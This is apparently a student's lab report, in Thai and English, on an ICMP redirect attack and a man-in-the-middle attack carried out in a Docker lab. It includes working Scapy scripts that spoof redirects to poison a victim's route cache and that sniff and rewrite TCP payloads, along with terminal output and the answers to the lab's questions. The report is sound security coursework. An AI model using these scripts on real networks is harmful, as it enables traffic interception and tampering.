Task 1: Launching ICMP Redirect Attack

Code ที่ใช้ ใช้ Malicious Router เป็น fake gateway

```python
#!/usr/bin/env python3

from scapy.all import *

# Remember to run the following command on victim
# sudo sysctl net.ipv4.conf.all.accept_redirects=1

#victim = sys.argv[1]
#real_gateway = sys.argv[2]
#fake_gateway = sys.argv[3]
victim = '10.9.0.5'
real_gateway = '10.9.0.11'
fake_gateway = '10.9.0.111'

ip = IP(src = real_gateway,  dst = victim)
icmp = ICMP(type=5, code=1)
icmp.gw = fake_gateway

ip2 = IP(src = victim, dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

Config ของ malicious router

```
malicious-router:
    image: handsonsecurity/seed-ubuntu:large
    container_name: malicious-router-10.9.0.111
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.ip_forward=1
            - net.ipv4.conf.all.send_redirects=0
            - net.ipv4.conf.default.send_redirects=0
            - net.ipv4.conf.eth0.send_redirects=0
    privileged: true
    volumes:
            - ./volumes:/volumes
    networks:
        net-10.9.0.0:
            ipv4_address: 10.9.0.111
    command: bash -c "
                 ip route add 192.168.60.0/24 via 10.9.0.11 &&
                 tail -f /dev/null
             "
```

เครื่อง victim เช็ค mtr -n 192.168.60.5 ก่อนที่จะถูกโจมตี และเปิดหน้านี้ทิ้งไว้

```
                                My traceroute  [v0.93]
b312ada9698d (10.9.0.5)                                  2025-02-13T04:35:24+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%    18    0.1   0.1   0.1   0.1   0.0
 2. 192.168.60.5                                0.0%    18    0.1   0.1   0.1   0.4   0.1
```

เครื่อง attacker ทำการส่ง packet ออกไป

```
root@c988cafaa806:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@c988cafaa806:/volumes#
```

เครื่อง victim ที่เปิด mtr เอาไว้จะมี Host 10.9.0.111 แสดงขึ้นมา

```
                                My traceroute  [v0.93]
b312ada9698d (10.9.0.5)                                  2025-02-13T04:37:52+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%    16    0.2   0.1   0.1   0.2   0.0
    10.9.0.111
 2. 192.168.60.5                                0.0%    16    0.2   0.1   0.1   0.4   0.1
    10.9.0.11
```

ถ้าปิด mtr แล้วเปิดใหม่จะแสดงผลออกมาตามรูป

```
                                My traceroute  [v0.93]
b312ada9698d (10.9.0.5)                                  2025-02-13T04:38:45+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                                  0.0%     8    0.1   0.1   0.1   0.1   0.0
 2. 10.9.0.11                                   0.0%     7    0.1   0.1   0.1   0.2   0.0
 3. 192.168.60.5                                0.0%     7    0.1   0.2   0.1   0.6   0.2
```

ทดลองใช้ ip route show cache

```
root@b312ada9698d:/# mtr -n 192.168.60.5
root@b312ada9698d:/# mtr -n 192.168.60.5
root@b312ada9698d:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 100sec
root@b312ada9698d:/#
```

- **Question 1:** Can you use ICMP redirect attacks to redirect to a remote machine? Namely, the IP address assigned to icmp.gw is a computer not on the local LAN. Please show your experiment result, and explain your observation.

Code ที่ใช้ แก้ fake gateway เป็น 192.168.60.6 เพื่อให้อยู่นอกวง lan ตามโจทย์กำหนด

```
#!/usr/bin/env python3

from scapy.all import *

# Remember to run the following command on victim
# sudo sysctl net.ipv4.conf.all.accept_redirects=1

#victim = sys.argv[1]
#real_gateway = sys.argv[2]
#fake_gateway = sys.argv[3]
victim = '10.9.0.5'
real_gateway = '10.9.0.11'
fake_gateway = '192.168.60.6'

ip = IP(src = real_gateway,  dst = victim)
icmp = ICMP(type=5, code=1)
icmp.gw = fake_gateway

ip2 = IP(src = victim, dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

เช็ค cache ของเครื่อง victim

```
root@40fa773c78ea:/# ip route show cache
root@40fa773c78ea:/#
```

เครื่อง victim เปิด mtr ค้างไว้

```
                                 My traceroute  [v0.93]
b312ada9698d (10.9.0.5)                                  2025-02-13T05:15:50+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%     9    0.1   0.1   0.1   0.2   0.0
 2. 192.168.60.5                                0.0%     9    0.5   0.2   0.1   0.5   0.2
```

เครื่อง Attacker ทำการโจมตี

```
root@c988cafaa806:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@c988cafaa806:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@c988cafaa806:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@c988cafaa806:/volumes#
```

เครื่อง victim ทำการเช็ค cache ไม่พบการทำ icmp redirect attack

```
root@b312ada9698d:/# mtr -n 192.168.60.5
root@b312ada9698d:/# ip route show cache
root@b312ada9698d:/# mtr -n 192.168.60.5
root@b312ada9698d:/# ip route show cache
root@b312ada9698d:/# mtr -n 192.168.60.5
root@b312ada9698d:/# ip route show cache
root@b312ada9698d:/#
```

ณ การทดสอบถึงจุดนี้ทำได้เพียงแค่สันนิฐานว่า อาจจะไม่สามารถทำการโจมตีโดยใช้ IP gateway ข้ามวงแลนได้ หรืออาจจะเพราะเครื่อง 192.168.60.6 ไม่ได้เซ็ตค่า send_redirects=0 เหมือนกับเครื่อง malicious router

- **Question 2:** Can you use ICMP redirect attacks to redirect to a non-existing machine on the same network? Namely, the IP address assigned to icmp.gw is a local computer that is either offline or non-existing. Please show your experiment result, and explain your observation.

Code ที่ใช้ ปรับ fake gateway เป็น 10.9.0.99 ซึ่งเป็น ip ที่ไม่มีอยู่จริงตามเงื่อนไขของโจทย์

```
#!/usr/bin/env python3

from scapy.all import *

# Remember to run the following command on victim
# sudo sysctl net.ipv4.conf.all.accept_redirects=1

#victim = sys.argv[1]
#real_gateway = sys.argv[2]
#fake_gateway = sys.argv[3]
victim = '10.9.0.5'
real_gateway = '10.9.0.11'
fake_gateway = '10.9.0.99'

ip = IP(src = real_gateway,  dst = victim)
icmp = ICMP(type=5, code=1)
icmp.gw = fake_gateway

ip2 = IP(src = victim, dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

เครื่อง victim ทำการเช็ค ip route show cache

```
root@40fa773c78ea:/# ip route show cache
root@40fa773c78ea:/#
```

เครื่อง victim ทำการเปิด mtr ค้างไว้

```
                                My traceroute  [v0.93]
40fa773c78ea (10.9.0.5)                                  2025-02-13T07:13:09+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%     5    0.1   0.1   0.1   0.2   0.1
 2. 192.168.60.5                                0.0%     4    0.1   0.2   0.1   0.4   0.1
```

เครื่อง attacker ทำการโจมตี

```
root@65077670a276:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@65077670a276:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
root@65077670a276:/volumes#
```

ผลลัพธ์ที่ได้จากฝั่ง victim ฝั่ง attacker ก็ยังคงโจมตีไม่สำเร็จ

```
root@40fa773c78ea:/# ip route show cache
root@40fa773c78ea:/# mtr -n 192.168.60.5
root@40fa773c78ea:/# ip route show cache
root@40fa773c78ea:/#
```

จากการสันนิฐาน มีความเป็นไปได้ว่า ip ที่ไม่มีอยู่จริงอาจจะไม่สามารถทำการโจมตีด้วยวิธีนี้ได้ เนื่องจากการเซ็ตค่า send_redirects=0 อาจจะเป็นสาเหตุของผลลัพธ์

- **Question 3:** If you look at the docker-compose.yml file, you will find the following entries for the malicious router container. What are the purposes of these entries? Please change their value to 1, and launch the attack again. Please describe and explain your observation.

เครื่อง malicious router ตั้งค่า redirect ให้เป็น 1

```
root@5971adbbef5f:/# sysctl net.ipv4.conf.all.send_redirects=1
net.ipv4.conf.all.send_redirects = 1
root@5971adbbef5f:/# sysctl net.ipv4.conf.default.send_redirects=1
net.ipv4.conf.default.send_redirects = 1
root@5971adbbef5f:/# sysctl net.ipv4.conf.eth0.send_redirects=1
net.ipv4.conf.eth0.send_redirects = 1
root@5971adbbef5f:/#
```

Code ที่ใช้จะแก้ fake gateway กลับมาที่ 10.9.0.111

```
#!/usr/bin/env python3

from scapy.all import *

# Remember to run the following command on victim
# sudo sysctl net.ipv4.conf.all.accept_redirects=1

#victim = sys.argv[1]
#real_gateway = sys.argv[2]
#fake_gateway = sys.argv[3]
victim = '10.9.0.5'
real_gateway = '10.9.0.11'
fake_gateway = '10.9.0.111'

ip = IP(src = real_gateway,  dst = victim)
icmp = ICMP(type=5, code=1)
icmp.gw = fake_gateway

ip2 = IP(src = victim, dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

Victim ทำการเปิด mtr ค้างไว้

```
                                My traceroute  [v0.93]
40fa773c78ea (10.9.0.5)                                  2025-02-13T07:31:41+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%     5    0.1   0.1   0.1   0.2   0.0
 2. 192.168.60.5                                0.0%     4    0.1   0.1   0.1   0.2   0.0
```

หลังจากนั้น attacker ทำการโจมตีเข้ามาพบว่ามี host 10.9.0.111 เข้ามา

```
                                My traceroute  [v0.93]
40fa773c78ea (10.9.0.5)                                  2025-02-13T07:32:21+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%    44    0.1   0.1   0.1   0.5   0.1
    10.9.0.111
 2. 192.168.60.5                                0.0%    44    0.1   0.1   0.1   1.0   0.1
    10.9.0.11
```

เครื่อง victim จึงทำการปิด mtr และเปิดขึ้นมาใหม่ และ เช็ค ip route show cache ไม่พบ ip ของ malicious router แล้ว

```
                                My traceroute  [v0.93]
40fa773c78ea (10.9.0.5)                                  2025-02-13T07:32:55+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                                 Packets               Pings
 Host                                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                                   0.0%     6    0.6   0.2   0.1   0.6   0.2
 2. 192.168.60.5                                0.0%     5    0.1   0.2   0.1   0.4   0.2
```

```
root@40fa773c78ea:/# ip route show cache
root@40fa773c78ea:/# mtr -n 192.168.60.5
root@40fa773c78ea:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache <redirected> expires 258sec
```

สรุป การเปิด function send_redirects ให้ทำงานเป็นจุดที่ทำให้การโจมตีนี้เป็นไปได้

Task 2: Launching the MITM Attack

ตั้งค่า send_redirects ที่ malicious router กลับมาเป็น 0

```
root@5971adbbef5f:/# sysctl net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.send_redirects = 0
root@5971adbbef5f:/# sysctl net.ipv4.conf.default.send_redirects=0
net.ipv4.conf.default.send_redirects = 0
root@5971adbbef5f:/# sysctl net.ipv4.conf.eth0.send_redirects=0
net.ipv4.conf.eth0.send_redirects = 0
root@5971adbbef5f:/#
```

ปรับ code icmp redirect ให้วนส่งทุกๆ 30 วินาทีเพื่อไม่ให้ cache หลุด

```python
#!/usr/bin/env python3

from scapy.all import *
from datetime import datetime as dt
import time

# Remember to run the following command on victim
# sudo sysctl net.ipv4.conf.all.accept_redirects=1

#victim = sys.argv[1]
#real_gateway = sys.argv[2]
#fake_gateway = sys.argv[3]

def icmp_redirects():
    victim = '10.9.0.5'
    real_gateway = '10.9.0.11'
    fake_gateway = '10.9.0.111'

    ip = IP(src = real_gateway,  dst = victim)
    icmp = ICMP(type=5, code=1)
    icmp.gw = fake_gateway

    ip2 = IP(src = victim, dst = '192.168.60.5')
    send(ip/icmp/ip2/ICMP());

while True:
    icmp_redirects()
    print(dt.now())
    time.sleep(30)
```

ให้ malicious router ทำการวนส่ง icmp redirect ไปเรื่อยๆ

```
root@65077670a276:/volumes# ./icmp_redirect.py
.
Sent 1 packets.
2025-02-13 08:06:51.028413
.
Sent 1 packets.
2025-02-13 08:07:21.089724
.
```

Victim เปิด mtr เอาไว้

```
                         My traceroute  [v0.93]
40fa773c78ea (10.9.0.5)                              2025-02-13T08:09:11+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets               Pings
 Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                  0.0%   122    0.1   0.1   0.1   0.3   0.0
 2. 10.9.0.11                   0.0%   122    0.1   0.1   0.1   1.3   0.2
 3. 192.168.60.5                0.0%   121    0.1   0.1   0.1   1.1   0.1
```

Code สำหรับทำ MITM

```python
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'seedlabs', b'AAAAAAAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

```

หลังจาก Destination host กับ victim เปิด nc, malicious router ทำการปิด ip_forward

```
[02/13/25]seed@VM:~/.../Labsetup$ docksh 597
root@5971adbbef5f:/# sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1
root@5971adbbef5f:/# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

Victim ส่งข้อความ

```
root@40fa773c78ea:/# nc 192.168.60.5 9090
seedlabs
^C
```

ข้อความที่ destination ได้รับ

```
root@0480e965a9a9:/# nc -lp 9090
AAAAAAAA
root@0480e965a9a9:/# ^C
```

แต่ในฝั่ง malicious router ได้รับข้อความเยอะมากทั้งๆที่ victim ส่งข้อมูลเดียว

```
.
.
Sent 1 packets.
*** b'AAAAAAAA\n', length: 9
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
*** b'AAAAAAAA\n', length: 9
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
```

- **Question 4:** In your MITM program, you only need to capture the traffics in one direction. Please indicate which direction, and explain why.

ใน code เราจะดักจับ traffic จากฝั่ง victim ฝั่งเดียว เนื่องจาก victim โดนโจมตีด้วย icmp redirect ไปแล้วทำให้เราสามารถเข้าดักจับข้อมูลที่ส่งออกจาก victim และข้อมูลที่ victim จะได้รับเข้ามาได้

- **Question 5:** In the MITM program, when you capture the nc traffics from A (10.9.0.5), you can use A's IP address or MAC address in the filter. One of the choices is not good and is going to create issues, even though both choices may work. Please try both, and use your experiment results to show which choice is the correct one, and please explain your conclusion.

ดักจับโดยใช้ MAC address ใช้ filter='tcp and ether src 02:42:0a:09:00:05'

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
    newpkt = IP(bytes(pkt[IP]))
    del(newpkt.chksum)
    del(newpkt[TCP].payload)
    del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("*** %s, length: %d" % (data, len(data)))

        # Replace a pattern
        newdata = data.replace(b'seedlabs', b'AAAAAAAA')

        send(newpkt/newdata)
    else:
        send(newpkt)

f = 'tcp and ether src 02:42:0a:09:00:05'
pkt = sniff(iface=['eth0'], filter=f, prn=spoof_pkt)

```

Victim ส่งข้อมูล

```
root@40fa773c78ea:/# nc 192.168.60.5 9090
test seedlabs
seedlabs
```

Destination host รับข้อมูล

```
root@0480e965a9a9:/# nc -lp 9090
test AAAAAAAA
AAAAAAAA
```

ข้อมูลที่โชว์ฝั่ง malicious router

```
root@5971adbbef5f:/volumes# ./mitm_sample.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
*** b'test seedlabs\n', length: 14
.
Sent 1 packets.
*** b'seedlabs\n', length: 9
.
Sent 1 packets.
```

ดักจับโดยใช้ IP ใช้ filter='tcp and ip src10.9.0.5'

ผลลัพธ์ที่ได้จะเหมือนภาพสุดท้ายของ Task2 คือ packet จะวิ่งเป็นจำนวนเยอะมาก

สรุป ใช้ MAC address ในการ filter จะได้ผลที่ดีที่สุด สาเหตุอาจจะเพราะว่าการที่ดักจับด้วย L2 ชุดข้อมูลที่เราเอามาจะมีแค่ส่วน header ของ L2 กับ data แต่การจับด้วย IP จะได้ข้อมูลในส่วนของ L3 มาด้วย ทำให้เกิดข้อมูลจำนวนที่มากกว่า